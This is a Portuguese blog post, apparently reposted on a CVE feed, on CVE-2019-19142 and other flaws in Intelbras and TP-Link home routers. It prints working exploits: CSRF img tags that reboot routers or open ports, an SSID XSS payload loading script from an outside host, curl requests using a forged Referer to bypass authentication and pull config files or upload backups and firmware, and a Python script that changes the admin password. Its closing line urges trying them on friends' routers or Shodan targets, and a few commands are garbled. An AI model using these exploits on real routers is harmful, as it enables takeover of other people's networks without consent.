Headline

CVE-2019-19142: Hack ‘N’ Routers - Vulnerabilidades comuns em roteadores domésticos - [PT-BR]

Intelbras WRN240 devices do not require authentication to replace the firmware via a POST request to the incoming/Firmware.cfg URI.

4 years ago

CVE

Open in Source

#xss #csrf #vulnerability #ios #android #java #intel #auth #xiaomi #wifi

Hackers xiaomi e androids, algumas pessoas já vem me pedindo a algum tempo para falar um pouco sobre algumas vulns e exploits para roteadores (acho que é para fins educacionais), então, hoje irei falar sobre algumas vulnerabilidades presentes em alguns modelos de roteadores domésticos, os quais na maioria das vezes seus donos/usuários não se preocupam em manter sua firmware atualizado, também citarei exemplos explicando por que na maioria das vezes manter seu aparelho atualizado ainda poderá deixar passar alguns ataques.

Usarei os roteadores de marcas Intelbras e TP-Link nos exemplos, pois até agora são os únicos que tenho em mãos para realizar os testes, mas acredito que sirva de base para que vocês possam replicar os mesmos bugs em outros modelos.

Começando pelo bom e velho Intelbras, acho que tudo que tem “Intelbras” em seu nome terá esses mesmos bugs, vou citar só alguns exemplos em determinados modelos e versões, mas os bugs foram testados em outros tipos de painéis e na maioria eles estavam lá.

CSRF****Roteador Wireless N 150 Mbps -WRN 240

Atire a senha do Facebook quem nunca viu esse painel na vida.

Acho que essa é a vulnerabilidade mais comum e conhecida nesses roteadores, Cross-site Request Forgery (CSRF ou XSRF), em português falsificação de solicitação entre sites, também conhecido como ataque de um clique.

Para salvar ou alterar alguma informação, seu painel adiciona esses valores em parâmetros em uma URL e faz a requisição via GET, onde essa URL é requisitada através de javascript ou iframe.

Exemplo

Para reiniciar o roteador, quando vamos lá no menu e clicamos no botão reiniciar, o painel faz a requisição para o endereço: http://192.168.0.1/userRpm/SysRebootRpm.htm?Reboot=Reiniciar

E então o roteador reinicia.

Poderíamos fazer o mesmo procedimento de uma maneira “escondida” do admin.

$ echo “<img src=’http://192.168.0.1/userRpm/SysRebootRpm.htm?Reboot=Reiniciar’>” > poc.html

Agora podemos usar para alterar algumas outras informações como, nome da rede wifi, senhas, adicionar portas redirecionadas, mudar DNS etc.

Vídeo salvo em 02/07/2018

Também testado no painel do WRN 150

**Outro exemplo, agora com o **TP-LINK 150M Wireless N Router Model No. TL-WR740N****

<img src="http://192.168.0.1/userRpm/VirtualServerRpm.htm?ExPort=22&InPort=22&Ip=192.168.0.100&Protocol=1&State=1&Commonport=0&Changed=0&SelIndex=0&Page=1&Save=Save">

XSS

Podemos encontrar XSS facilmente em vários inputs, principalmente se juntarmos o CSRF+XSS.

Mas vou mostrar um que achei mais “apresentável” pelo fato de que podemos encontrar o mesmo bug em outros dispositivos além de roteadores.

O XSS por SSID de um outro AP, nos roteadores podemos encontrar esse bug em páginas que mostrem SSID de outras redes, normalmente nas configurações para adicionar um novo “AP”.

Como o painel estará mostrando o nome das outras redes wireless, as vezes ele não filtra esses SSID e com isso conseguimos nosso XXS.

Exemplo

Subindo nosso payload:

airbase-ng -e "</script><script src='//elb.me'>" -c 8 -v wlan0mon

Conteudo em elb.me:

Resultado

Tenho um post sobre isso, explicando mais detalhadamente:

XSS NO ROTEADOR INTELBRAS WRN 240

Auth Bypass: Alterando firmware e configurações sem autenticar no painel

Primeiro começarei falando de um bug que encontrei num dos roteadores da TP-Link, não vou tomar os créditos para mim pois enquanto pesquisava notei que alguém já tinha reportado os mesmos, só que em outros modelos.

As vulnerabilidades baseavam-se em conseguir alterar ou ver informações no painel do roteador somente estando na mesma rede que o dispositivo, informações que somente quem poderia ver seriam pessoas que estivessem autenticadas nessa área administrativa.

A aplicação não ignorava headers de autenticação, principalmente o “Cookie: Authorization=Basic BASE64=” mas verificava apenas o "Referer: http://ip.router/", pois para ela se o usuário estava vindo com esse header, ele certamente estaria autenticado na plataforma, isso abriu ### portas para um novo ataque.

Exemplo

curl -X GET http://192.168.0.1/cgi/conf.bin

Resposta: HTTP/1.1 403 Forbidden

curl -X GET -H "Referer: http://192.168.0.1/mainFrame.htm" http://192.168.0.1/cgi/conf.bin

Resposta: HTTP/1.1 200 OK

Exemplo de alteração de senha do painel do roteador:

import requests

new = input('New Pass: ')
url = 'http://192.168.0.1/cgi?8'
headers = {'Content-Type': 'text/plain',
 'Referer': 'http://192.168.0.1/mainFrame.htm'}

data = ''
data += '[/cgi/auth#0,0,0,0,0,0#0,0,0,0,0,0]0,3\x0d\x0a'
data += 'oldPwd=admin\x0d\x0a'
data += 'name=admin\x0d\x0a'
data += 'pwd='+new+'\x0d\x0a'

r = requests.post(url,data=data,headers=headers)

print(r.text)

Novos firmwares velhas vulns

Atualizei minha firmware para a nova versão publicada no site do distribuidor, e decidi verificar se algo tinha mudado, e realmente o bug do Referer não estava mais lá, independente de Referer ou não, todas as requisições GET estavam sendo liberadas somente para quem tivesse o cookie certo.

Mas ainda sobrou alguns lugares em que as alterações eram feitas via POST, que no caso seriam: Restaurar arquivos de backup e alterar ou atualizar a firmware.

Restaurando backup do modelo Intelbras, mesmo removendo o Authorization: Basic ainda conseguimos fazer o upload do arquivo:

Uma boa ideia para tentar, seria baixar um arquivo de backup do seu router e subir o mesmo no router do seu amigo:

PoC

curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer: http://192.168.0.1/userRpm/BakNRestoreRpm.htm" -F [email protected] http://192.1680.1/incoming/RouterBakCfgUpload.cfg

O mesmo acontece com a opção de atualizar a firmware.

TP-Link

curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer: http://192.168.0.2/mainFrame.htm" -F [email protected]://192.168.0.2/cgi/confup

Não façam isso em casa

Por enquanto é só isso, atualizarei este post frequentemente caso tenham mais modelos e novos bugs para demonstrar, não tentem reproduzir essas peripécias em casa, tentem nos routers de amigos ou no Shodan, é mais divertido 😉.

Referências